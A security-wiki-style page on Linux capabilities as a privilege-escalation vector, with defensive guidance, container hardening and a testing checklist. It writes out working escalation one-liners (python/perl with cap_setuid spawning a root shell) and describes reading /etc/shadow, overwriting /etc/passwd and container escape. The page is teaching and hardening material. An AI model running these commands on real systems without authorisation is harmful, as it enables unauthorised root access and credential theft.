Linux Capabilities
Capabilities split root’s powers into granular permissions that can be assigned to specific binaries, without giving them full SUID. The idea is good for security (a program that only needs to bind low ports doesn’t need to be full root), but a misassigned capability is as dangerous as a SUID: certain capabilities allow escalating to root directly. It’s a vector linpeas flags and many people overlook.
What they are
Section titled “What they are”Instead of “root can do anything,” the kernel splits that power into ~40 capabilities (cap_net_bind_service, cap_setuid, cap_dac_read_search…). A binary can carry a specific capability in its extended attributes, running with that power without being root-SUID.
Find binaries with capabilities
Section titled “Find binaries with capabilities”getcap -r / 2>/dev/null # list all binaries with capabilities# example output:# /usr/bin/python3.8 = cap_setuid+epDangerous capabilities (direct escalation)
Section titled “Dangerous capabilities (direct escalation)”cap_setuid # change UID -> setuid(0) -> rootcap_setgid # change GIDcap_dac_read_search # bypass READ permissions -> read /etc/shadow, keyscap_dac_override # bypass read/write permissions -> write root filescap_sys_admin # almost root (mount, etc.)cap_sys_ptrace # debug processes -> inject into root processescap_chown / cap_fowner # change file ownership/permissionsExploitation (examples)
Section titled “Exploitation (examples)”# python with cap_setuid+ep -> direct root./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'# perl with cap_setuid./perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh";'# cap_dac_read_search -> read /etc/shadow (crack root) or SSH keys# tar/cp with cap_dac_read_search can read protected files# cap_dac_override -> overwrite /etc/passwd (add a root user)GTFOBins includes a capabilities section for each binary: if getcap shows one with a dangerous cap, look up the recipe there.
Difference from SUID
Section titled “Difference from SUID”SUID: the process runs as the binary's OWNER (e.g. full root)Capability: the process runs with YOUR UID but with a specific POWER addedThat’s why with cap_setuid you must call setuid(0) explicitly (as in the examples), unlike a SUID that already runs as root.
For the defense
Section titled “For the defense”- Audit capabilities (
getcap -r /): remove those not strictly necessary (setcap -r). - Minimal capability: assign only the specific one the program needs, never
cap_setuid/cap_sys_adminif avoidable. - Don’t give dangerous capabilities to interpreters (python, perl, ruby): they’re trivial escalation.
- Inventory and alerts on binaries with new capabilities.
- Combine with AppArmor/SELinux and mount with
nosuidwhere applicable.
Containers and capabilities (Docker)
Section titled “Containers and capabilities (Docker)”Capabilities are central to container security (see Container security): a container with excess capabilities is an escape route to the host.
# a container with --privileged or cap_sys_admin can escape to the hostdocker run --cap-add=SYS_ADMIN ... # mount, manipulate the host -> escapedocker run --privileged ... # ALL caps -> escape almost guaranteed# inside a container, enumerate the process caps:capsh --print ; cat /proc/self/status | grep Cap# defense (dso-containers): drop ALL and add only the essentialdocker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...That’s why container hardening insists on --cap-drop=ALL: the same power that escalates to root on a host escalates from the container to the node.
Quick reference of dangerous capabilities
Section titled “Quick reference of dangerous capabilities”cap_setuid setuid(0) -> direct root (the cleanest case)cap_setgid change GIDcap_dac_read_search read ANY file (/etc/shadow, SSH keys) bypassing permissionscap_dac_override write ANY file (/etc/passwd, sudoers)cap_sys_admin "almost root": mount, many privileged operations (container escape)cap_sys_ptrace debug/inject into root processescap_sys_module load kernel modules -> root/rootkitcap_chown change file ownership -> escalationcap_fowner bypass owner checks in file operationsIf getcap shows any of these on a binary (or an interpreter), it’s escalation: cross-reference GTFOBins (capabilities section) for the exact recipe.
Testing checklist
Section titled “Testing checklist”-
getcap -r / 2>/dev/null→ list binaries with capabilities - Identify dangerous capabilities (setuid, dac_read_search, dac_override, sys_admin, sys_ptrace)
- Exploit interpreters with cap_setuid (python/perl → setuid(0))
- cap_dac_read_search → read /etc/shadow / keys
- cap_dac_override → write /etc/passwd
- Cross-reference GTFOBins (capabilities section)
- Confirm root (
id) - Blue: capabilities minimized, no caps on interpreters?